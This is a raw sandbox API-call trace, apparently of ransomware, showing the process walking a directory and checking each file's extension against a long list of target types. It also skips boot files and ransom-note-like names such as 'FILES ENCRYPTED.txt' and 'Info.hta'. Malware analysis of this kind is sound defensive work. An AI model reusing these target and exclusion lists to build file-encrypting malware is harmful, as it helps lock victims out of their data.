	[0177.675] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0177.675] lstrlenW (lpString=".ai6") returned 4
	[0177.675] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0177.675] lstrlenW (lpString=".ai7") returned 4
	[0177.675] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0177.675] lstrlenW (lpString=".ai8") returned 4
	[0177.675] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0177.675] lstrlenW (lpString=".anim") returned 5
	[0177.676] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0177.676] lstrlenW (lpString=".arw") returned 4
	[0177.676] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0177.676] lstrlenW (lpString=".as") returned 3
	[0177.676] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0177.676] lstrlenW (lpString=".asa") returned 4
	[0177.676] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0177.676] lstrlenW (lpString=".asc") returned 4
	[0177.676] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0177.676] lstrlenW (lpString=".ascx") returned 5
	[0177.676] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0177.676] lstrlenW (lpString=".asm") returned 4
	[0177.676] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0177.676] lstrlenW (lpString=".asmx") returned 5
	[0177.676] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0177.676] lstrlenW (lpString=".asp") returned 4
	[0177.676] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0177.676] lstrlenW (lpString=".aspx") returned 5
	[0177.676] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0177.676] lstrlenW (lpString=".asr") returned 4
	[0177.676] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0177.677] lstrlenW (lpString=".asx") returned 4
	[0177.677] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0177.677] lstrlenW (lpString=".avi") returned 4
	[0177.677] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0177.677] lstrlenW (lpString=".avs") returned 4
	[0177.677] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0177.677] lstrlenW (lpString=".backup") returned 7
	[0177.677] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1
	[0177.677] lstrlenW (lpString=".bak") returned 4
	[0177.677] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0177.677] lstrlenW (lpString=".bay") returned 4
	[0177.677] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0177.677] lstrlenW (lpString=".bd") returned 3
	[0177.677] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0177.677] lstrlenW (lpString=".bin") returned 4
	[0177.677] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0177.677] lstrlenW (lpString=".bmp") returned 4
	[0177.677] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0177.677] lstrlenW (lpString=".bz2") returned 4
	[0177.677] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0177.677] lstrlenW (lpString=".c") returned 2
	[0177.677] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0177.677] lstrlenW (lpString=".cdr") returned 4
	[0177.677] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0177.678] lstrlenW (lpString=".cer") returned 4
	[0177.678] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0177.678] lstrlenW (lpString=".cf") returned 3
	[0177.678] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0177.678] lstrlenW (lpString=".cfc") returned 4
	[0177.678] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0177.678] lstrlenW (lpString=".cfm") returned 4
	[0177.678] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0177.678] lstrlenW (lpString=".cfml") returned 5
	[0177.678] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0177.678] lstrlenW (lpString=".cfu") returned 4
	[0177.678] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0177.678] lstrlenW (lpString=".chm") returned 4
	[0177.678] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0177.678] lstrlenW (lpString=".cin") returned 4
	[0177.678] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0177.678] lstrlenW (lpString=".class") returned 6
	[0177.679] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1
	[0177.679] lstrlenW (lpString=".clx") returned 4
	[0177.679] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0177.679] lstrlenW (lpString=".config") returned 7
	[0177.679] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1
	[0177.679] lstrlenW (lpString=".cpp") returned 4
	[0177.679] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0177.679] lstrlenW (lpString=".cr2") returned 4
	[0177.679] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0177.679] lstrlenW (lpString=".crt") returned 4
	[0177.679] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0177.679] lstrlenW (lpString=".crw") returned 4
	[0177.679] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0177.679] lstrlenW (lpString=".cs") returned 3
	[0177.679] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0177.679] lstrlenW (lpString=".css") returned 4
	[0177.679] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0177.679] lstrlenW (lpString=".csv") returned 4
	[0177.679] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0177.679] lstrlenW (lpString=".cub") returned 4
	[0177.679] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0177.679] lstrlenW (lpString=".dae") returned 4
	[0177.680] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0177.680] lstrlenW (lpString=".dat") returned 4
	[0177.680] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0177.680] lstrlenW (lpString=".db") returned 3
	[0177.680] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0177.680] lstrlenW (lpString=".dbf") returned 4
	[0177.680] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0177.680] lstrlenW (lpString=".dbx") returned 4
	[0177.680] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0177.680] lstrlenW (lpString=".dc3") returned 4
	[0177.680] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0177.680] lstrlenW (lpString=".dcm") returned 4
	[0177.680] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0177.680] lstrlenW (lpString=".dcr") returned 4
	[0177.680] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0177.680] lstrlenW (lpString=".der") returned 4
	[0177.680] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0177.681] lstrlenW (lpString=".dib") returned 4
	[0177.681] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0177.681] lstrlenW (lpString=".dic") returned 4
	[0177.681] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0177.681] lstrlenW (lpString=".dif") returned 4
	[0177.681] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0177.681] lstrlenW (lpString=".divx") returned 5
	[0177.681] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0177.681] lstrlenW (lpString=".djvu") returned 5
	[0177.681] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0177.681] lstrlenW (lpString=".dng") returned 4
	[0177.681] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0177.681] lstrlenW (lpString=".doc") returned 4
	[0177.681] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0177.681] lstrlenW (lpString=".docm") returned 5
	[0177.681] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0177.681] lstrlenW (lpString=".docx") returned 5
	[0177.681] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0177.681] lstrlenW (lpString=".dot") returned 4
	[0177.681] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0177.681] lstrlenW (lpString=".dotm") returned 5
	[0177.681] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0177.682] lstrlenW (lpString=".dotx") returned 5
	[0177.682] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0177.682] lstrlenW (lpString=".dpx") returned 4
	[0177.682] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0177.682] lstrlenW (lpString=".dqy") returned 4
	[0177.682] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0177.682] lstrlenW (lpString=".dsn") returned 4
	[0177.682] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0177.682] lstrlenW (lpString=".dt") returned 3
	[0177.682] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0177.682] lstrlenW (lpString=".dtd") returned 4
	[0177.682] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0177.682] lstrlenW (lpString=".dwg") returned 4
	[0177.682] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0177.682] lstrlenW (lpString=".dwt") returned 4
	[0177.682] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0177.682] lstrlenW (lpString=".dx") returned 3
	[0177.682] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0177.682] lstrlenW (lpString=".dxf") returned 4
	[0177.682] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0177.682] lstrlenW (lpString=".edml") returned 5
	[0177.682] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0177.682] lstrlenW (lpString=".efd") returned 4
	[0177.683] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0177.683] lstrlenW (lpString=".elf") returned 4
	[0177.683] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0177.683] lstrlenW (lpString=".emf") returned 4
	[0177.683] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0177.683] lstrlenW (lpString=".emz") returned 4
	[0177.683] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0177.683] lstrlenW (lpString=".epf") returned 4
	[0177.683] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0177.683] lstrlenW (lpString=".eps") returned 4
	[0177.683] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0177.683] lstrlenW (lpString=".epsf") returned 5
	[0177.683] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0177.683] lstrlenW (lpString=".epsp") returned 5
	[0177.683] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0177.683] lstrlenW (lpString=".erf") returned 4
	[0177.683] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0177.683] lstrlenW (lpString=".exr") returned 4
	[0177.683] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0177.683] lstrlenW (lpString=".f4v") returned 4
	[0177.683] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0177.683] lstrlenW (lpString=".fido") returned 5
	[0177.683] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0177.684] lstrlenW (lpString=".flm") returned 4
	[0177.684] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0177.684] lstrlenW (lpString=".flv") returned 4
	[0177.684] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0177.684] lstrlenW (lpString=".frm") returned 4
	[0177.684] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0177.684] lstrlenW (lpString=".fxg") returned 4
	[0177.684] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0177.684] lstrlenW (lpString=".geo") returned 4
	[0177.684] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0177.684] lstrlenW (lpString=".gif") returned 4
	[0177.684] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0177.684] lstrlenW (lpString=".grs") returned 4
	[0177.684] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0177.684] lstrlenW (lpString=".gz") returned 3
	[0177.684] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0177.684] lstrlenW (lpString=".h") returned 2
	[0177.684] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0177.684] lstrlenW (lpString=".hdr") returned 4
	[0177.684] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0177.684] lstrlenW (lpString=".hpp") returned 4
	[0177.684] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0177.684] lstrlenW (lpString=".hta") returned 4
	[0177.685] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0177.685] lstrlenW (lpString=".htc") returned 4
	[0177.685] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0177.685] lstrlenW (lpString=".htm") returned 4
	[0177.685] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0177.685] lstrlenW (lpString=".html") returned 5
	[0177.685] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0177.685] lstrlenW (lpString="index.html") returned 10
	[0177.685] lstrlenW (lpString=".Z9") returned 3
	[0177.685] lstrcmpiW (lpString1=".Z9", lpString2="tml") returned -1
	[0177.685] lstrlenW (lpString="index.html") returned 10
	[0177.685] lstrcmpiW (lpString1="boot.ini", lpString2="index.html") returned -1
	[0177.685] lstrcmpiW (lpString1="bootfont.bin", lpString2="index.html") returned -1
	[0177.685] lstrcmpiW (lpString1="ntldr", lpString2="index.html") returned 1
	[0177.685] lstrcmpiW (lpString1="ntdetect.com", lpString2="index.html") returned 1
	[0177.685] lstrcmpiW (lpString1="io.sys", lpString2="index.html") returned 1
	[0177.685] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="index.html") returned -1
	[0177.685] lstrcmpiW (lpString1="Info.hta", lpString2="index.html") returned 1
	[0177.685] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="index.html") returned -1
	[0177.685] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\it-IT\\index.html") returned 111
	[0177.686] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x22d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0177.686] lstrlenW (lpString="toastbeginupgrade.xml") returned 21
	[0177.686] lstrlenW (lpString=".1cd") returned 4
	[0177.686] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0177.686] lstrlenW (lpString=".3ds") returned 4
	[0177.686] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0177.686] lstrlenW (lpString=".3fr") returned 4
	[0177.686] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0177.686] lstrlenW (lpString=".3g2") returned 4
	[0177.686] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0177.686] lstrlenW (lpString=".3gp") returned 4
	[0177.686] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0177.686] lstrlenW (lpString=".7z") returned 3
	[0177.686] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0177.686] lstrlenW (lpString=".accda") returned 6
	[0177.686] lstrcmpiW (lpString1=".accda", lpString2="de.xml") returned -1
	[0177.686] lstrlenW (lpString=".accdb") returned 6
	[0177.686] lstrcmpiW (lpString1=".accdb", lpString2="de.xml") returned -1
	[0177.686] lstrlenW (lpString=".accdc") returned 6
	[0177.686] lstrcmpiW (lpString1=".accdc", lpString2="de.xml") returned -1
	[0177.686] lstrlenW (lpString=".accde") returned 6
	[0177.687] lstrcmpiW (lpString1=".accde", lpString2="de.xml") returned -1
	[0177.687] lstrlenW (lpString=".accdt") returned 6
	[0177.687] lstrcmpiW (lpString1=".accdt", lpString2="de.xml") returned -1
	[0177.687] lstrlenW (lpString=".accdw") returned 6
	[0177.687] lstrcmpiW (lpString1=".accdw", lpString2="de.xml") returned -1
	[0177.687] lstrlenW (lpString=".adb") returned 4
	[0177.687] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0177.687] lstrlenW (lpString=".adp") returned 4
	[0177.687] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0177.687] lstrlenW (lpString=".ai") returned 3
	[0177.687] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0177.687] lstrlenW (lpString=".ai3") returned 4
	[0177.687] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0177.687] lstrlenW (lpString=".ai4") returned 4
	[0177.687] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0177.687] lstrlenW (lpString=".ai5") returned 4
	[0177.687] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0177.687] lstrlenW (lpString=".ai6") returned 4
	[0177.687] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0177.687] lstrlenW (lpString=".ai7") returned 4
	[0177.687] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0177.687] lstrlenW (lpString=".ai8") returned 4
	[0177.688] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0177.688] lstrlenW (lpString=".anim") returned 5
	[0177.688] lstrcmpiW (lpString1=".anim", lpString2="e.xml") returned -1
	[0177.688] lstrlenW (lpString=".arw") returned 4
	[0177.688] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0177.688] lstrlenW (lpString=".as") returned 3
	[0177.688] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0177.688] lstrlenW (lpString=".asa") returned 4
	[0177.688] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0177.688] lstrlenW (lpString=".asc") returned 4
	[0177.688] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0177.688] lstrlenW (lpString=".ascx") returned 5
	[0177.688] lstrcmpiW (lpString1=".ascx", lpString2="e.xml") returned -1
	[0177.688] lstrlenW (lpString=".asm") returned 4
	[0177.688] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0177.688] lstrlenW (lpString=".asmx") returned 5
	[0177.688] lstrcmpiW (lpString1=".asmx", lpString2="e.xml") returned -1
	[0177.689] lstrlenW (lpString=".asp") returned 4
	[0177.689] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0177.689] lstrlenW (lpString=".aspx") returned 5
	[0177.689] lstrcmpiW (lpString1=".aspx", lpString2="e.xml") returned -1
	[0177.689] lstrlenW (lpString=".asr") returned 4
	[0177.689] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0177.689] lstrlenW (lpString=".asx") returned 4
	[0177.689] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0177.689] lstrlenW (lpString=".avi") returned 4
	[0177.689] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0177.689] lstrlenW (lpString=".avs") returned 4
	[0177.689] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0177.689] lstrlenW (lpString=".backup") returned 7
	[0177.689] lstrcmpiW (lpString1=".backup", lpString2="ade.xml") returned -1
	[0177.689] lstrlenW (lpString=".bak") returned 4
	[0177.689] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0177.689] lstrlenW (lpString=".bay") returned 4
	[0177.689] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0177.689] lstrlenW (lpString=".bd") returned 3
	[0177.689] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0177.689] lstrlenW (lpString=".bin") returned 4
	[0177.689] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0177.689] lstrlenW (lpString=".bmp") returned 4
	[0177.690] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0177.690] lstrlenW (lpString=".bz2") returned 4
	[0177.690] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0177.690] lstrlenW (lpString=".c") returned 2
	[0177.690] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0177.690] lstrlenW (lpString=".cdr") returned 4
	[0177.690] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0177.690] lstrlenW (lpString=".cer") returned 4
	[0177.690] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0177.690] lstrlenW (lpString=".cf") returned 3
	[0177.690] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0177.690] lstrlenW (lpString=".cfc") returned 4
	[0177.690] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0177.690] lstrlenW (lpString=".cfm") returned 4
	[0177.690] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0177.690] lstrlenW (lpString=".cfml") returned 5
	[0177.690] lstrcmpiW (lpString1=".cfml", lpString2="e.xml") returned -1
	[0177.690] lstrlenW (lpString=".cfu") returned 4
	[0177.690] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0177.690] lstrlenW (lpString=".chm") returned 4
	[0177.691] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0177.691] lstrlenW (lpString=".cin") returned 4
	[0177.691] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0177.691] lstrlenW (lpString=".class") returned 6
	[0177.691] lstrcmpiW (lpString1=".class", lpString2="de.xml") returned -1
	[0177.691] lstrlenW (lpString=".clx") returned 4
	[0177.691] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0177.691] lstrlenW (lpString=".config") returned 7
	[0177.691] lstrcmpiW (lpString1=".config", lpString2="ade.xml") returned -1
	[0177.691] lstrlenW (lpString=".cpp") returned 4
	[0177.691] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0177.691] lstrlenW (lpString=".cr2") returned 4
	[0177.691] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0177.691] lstrlenW (lpString=".crt") returned 4
	[0177.691] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0177.691] lstrlenW (lpString=".crw") returned 4
	[0177.691] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0177.691] lstrlenW (lpString=".cs") returned 3
	[0177.691] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0177.691] lstrlenW (lpString=".css") returned 4
	[0177.691] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0177.691] lstrlenW (lpString=".csv") returned 4
	[0177.692] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0177.692] lstrlenW (lpString=".cub") returned 4
	[0177.692] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0177.692] lstrlenW (lpString=".dae") returned 4
	[0177.692] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0177.692] lstrlenW (lpString=".dat") returned 4
	[0177.692] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0177.692] lstrlenW (lpString=".db") returned 3
	[0177.692] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0177.692] lstrlenW (lpString=".dbf") returned 4
	[0177.692] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0177.692] lstrlenW (lpString=".dbx") returned 4
	[0177.692] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0177.692] lstrlenW (lpString=".dc3") returned 4
	[0177.692] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0177.855] lstrlenW (lpString=".dcm") returned 4
	[0177.855] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0177.855] lstrlenW (lpString=".dcr") returned 4
	[0177.855] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0177.855] lstrlenW (lpString=".der") returned 4
	[0177.856] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0177.856] lstrlenW (lpString=".dib") returned 4
	[0177.856] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0177.856] lstrlenW (lpString=".dic") returned 4
	[0177.856] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0177.856] lstrlenW (lpString=".dif") returned 4
	[0177.856] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0177.856] lstrlenW (lpString=".divx") returned 5
	[0177.856] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1
	[0177.856] lstrlenW (lpString=".djvu") returned 5
	[0177.856] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1
	[0177.856] lstrlenW (lpString=".dng") returned 4
	[0177.856] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0177.856] lstrlenW (lpString=".doc") returned 4
	[0177.856] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0177.856] lstrlenW (lpString=".docm") returned 5
	[0177.856] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1
	[0177.856] lstrlenW (lpString=".docx") returned 5
	[0177.856] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0177.857] lstrlenW (lpString=".dot") returned 4
	[0177.857] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0177.857] lstrlenW (lpString=".dotm") returned 5
	[0177.857] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1
	[0177.857] lstrlenW (lpString=".dotx") returned 5
	[0177.857] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1
	[0177.857] lstrlenW (lpString=".dpx") returned 4
	[0177.857] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0177.857] lstrlenW (lpString=".dqy") returned 4
	[0177.857] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0177.857] lstrlenW (lpString=".dsn") returned 4
	[0177.857] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0177.857] lstrlenW (lpString=".dt") returned 3
	[0177.857] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0177.857] lstrlenW (lpString=".dtd") returned 4
	[0177.857] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0177.857] lstrlenW (lpString=".dwg") returned 4
	[0177.857] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0177.857] lstrlenW (lpString=".dwt") returned 4
	[0177.857] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0177.857] lstrlenW (lpString=".dx") returned 3
	[0177.857] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0177.857] lstrlenW (lpString=".dxf") returned 4
	[0177.857] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0177.858] lstrlenW (lpString=".edml") returned 5
	[0177.858] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1
	[0177.858] lstrlenW (lpString=".efd") returned 4
	[0177.858] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0177.858] lstrlenW (lpString=".elf") returned 4
	[0177.858] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0177.858] lstrlenW (lpString=".emf") returned 4
	[0177.858] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0177.858] lstrlenW (lpString=".emz") returned 4
	[0177.858] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0177.858] lstrlenW (lpString=".epf") returned 4
	[0177.858] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0177.858] lstrlenW (lpString=".eps") returned 4
	[0177.858] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0177.858] lstrlenW (lpString=".epsf") returned 5
	[0177.858] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1
	[0177.858] lstrlenW (lpString=".epsp") returned 5
	[0177.858] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1
	[0177.858] lstrlenW (lpString=".erf") returned 4
	[0177.859] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".exr") returned 4
	[0177.859] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".f4v") returned 4
	[0177.859] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".fido") returned 5
	[0177.859] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1
	[0177.859] lstrlenW (lpString=".flm") returned 4
	[0177.859] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".flv") returned 4
	[0177.859] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".frm") returned 4
	[0177.859] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0177.859] lstrlenW (lpString=".fxg") returned 4
